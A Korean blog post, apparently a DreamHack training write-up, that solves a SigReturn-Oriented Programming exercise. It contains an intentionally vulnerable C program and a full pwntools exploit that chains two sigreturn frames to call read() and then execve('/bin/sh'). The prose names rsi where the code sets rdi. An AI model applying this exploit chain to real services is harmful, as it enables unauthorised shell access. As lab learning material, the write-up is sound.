Recent Posts
Recent Comments
Link
«   2024/11   »
1 2
3 4 5 6 7 8 9
10 11 12 13 14 15 16
17 18 19 20 21 22 23
24 25 26 27 28 29 30
Tags
more
Archives
Today
Total
관리 메뉴

CIDY

[System_Hacking] AD: stage5_문제풀이(SigReturn-Oriented Programming) 본문

Hack/DreamHack(로드맵)

[System_Hacking] AD: stage5_문제풀이(SigReturn-Oriented Programming)

CIDY 2022. 7. 14. 06:40

 

// Name: srop.c
// Compile: gcc -o srop srop.c -fno-stack-protector -no-pie
// 64-bit, nx, partial relro

#include <unistd.h>

int gadget() {
  asm("pop %rax;"
      "syscall;"
      "ret" );
}

int main()
{
  char buf[16];
  read(0, buf ,1024);
}

 

이상한 (긴)가젯을 줬다. 그리고 bof가 엄청 일어난다. 아마 스택을 원하는 값으로 설정한 다음 원하는 번호의(rax) syscall을 제때 호출해서 쉘을 얻어내라는 문제 같다.

 

근데 생각해보면 아까 그 구조체 순서에 맞춰서 레지스터를 다 설정해 주는 건 좀 귀찮다. -> 그래서 폰툴즈에서는 SigreturnFrame이라는 클래스를 제공해준다! ELF도 그렇고 폰툴즈에는 편리한 클래스가 많은듯....

 

암튼 쟤가 알아서 레지스터 위치에 값 잘 세팅해준다. (설정 안한 값은 0임)

 

 

from pwn import *

context.arch = "x86_64"

p = process("./srop")
e = ELF("./srop")

pop_rax_syscall = 0x4004eb
syscall = 0x4004ec

bss = e.bss() + 0x700

frame = SigreturnFrame()

frame.rax = 0
frame.rdi = 0      
frame.rsi = bss
frame.rdx = 0x1000
frame.rip = syscall
frame.rsp = bss

pay = b"A" * 0x10
pay += b"B" * 0x8
pay += p64(pop_rax_syscall)
pay += p64(15)
pay += bytes(frame)
p.sendline(pay)

frame2 = SigreturnFrame()

frame2.rip = syscall
frame2.rax = 0x3b
frame2.rdi = bss + 0x108
frame2.rsp = bss + 0x500

pay2 = p64(pop_rax_syscall)
pay2 += p64(15)
pay2 += bytes(frame2)
pay2 += b"/bin/sh\x00"

p.send(pay2)

p.interactive()

 

일단 처음에 sigreturn으로 read(0, bss, 0x1000)을 세팅해줬다. 거기 적어준 걸 실행시킬 것이기 때문에 rsp도 신경써줘야 한다. 그리고 sigreturn의 호출번호가 rax인데, pop rax 가젯으로 거기 15를 담은 다음 syscall시키고 -> 스택에 있는 frame 그대로 레지스터에 세팅된다.

 

그리고 두 번째 프레임은 execve이다. 이 시스콜의 호출번호는 0x3b임. rip는 항상 syscall호출하도록 해주고... rsi로 bss + 0x108을 준 건 /bin/sh\x00이 딱 거기 있어서 그렇다. pay2에서 len출력해보면 알 수 있는 부분이다. (프레임이 0x98인가봄)

 

그리고 다음 실행시킬 건 없기에 rsp는 설정 안 해줘도 된다.